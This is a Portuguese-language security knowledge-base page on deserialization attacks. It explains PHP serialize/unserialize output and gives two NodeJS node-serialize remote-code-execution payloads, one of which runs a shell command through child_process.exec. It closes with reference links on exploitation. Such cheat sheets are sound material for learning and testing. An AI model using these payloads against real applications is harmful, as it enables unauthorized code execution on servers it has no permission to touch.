> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/deserialization-attack.md).

# Deserialization Attack

### PHP

#### Serialize

Para serializarmos um array, vamos executar os seguintes comandos:

```
php -a
$array = ['me', 'chamo', 'Mysther'];
echo serialize($array);
```

E então iremos ter a seguite saída:

```
a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}
```

| PARTE             | DESCRIÇÃO                                             |
| ----------------- | ----------------------------------------------------- |
| `a:3:{`           | Indica que o array contém 3 valores                   |
| `i:0;`            | Inteiro (Integer) no index 0 (zero) do array          |
| `s:2:"me";`       | String que contém 2 caracteres, com o valor `me`      |
| `i:1;`            | Inteiro (Integer) no index 1 do array                 |
| `s:5:"chamo";`    | String que contém 5 caracteres, com o valor `chamo`   |
| `i:2;`            | Inteiro (Integer) no index 2 do array                 |
| `s:7:"Mysther";}` | String que contém 7 caracteres, com o valor `Mysther` |

#### Unserialize

Este com um nome bem intuitivo, irá fazer o inverso da função `serialize`. Assim, iremos fazer uma string se transformar em um array.

```
php -a
$string = 'a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}';
print_r(unserialize($string));
```

### NodeJS

```
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(error,stdout,stderr){console.log(stdout)});}()"}
{"rce":"_$$ND_FUNC$$_function(){console.log('hacked')}()"}
```

#### Sites

```
# PHP
https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf

# Java
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#for-android

# NodeJS
https://github.com/luin/serialize
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
```
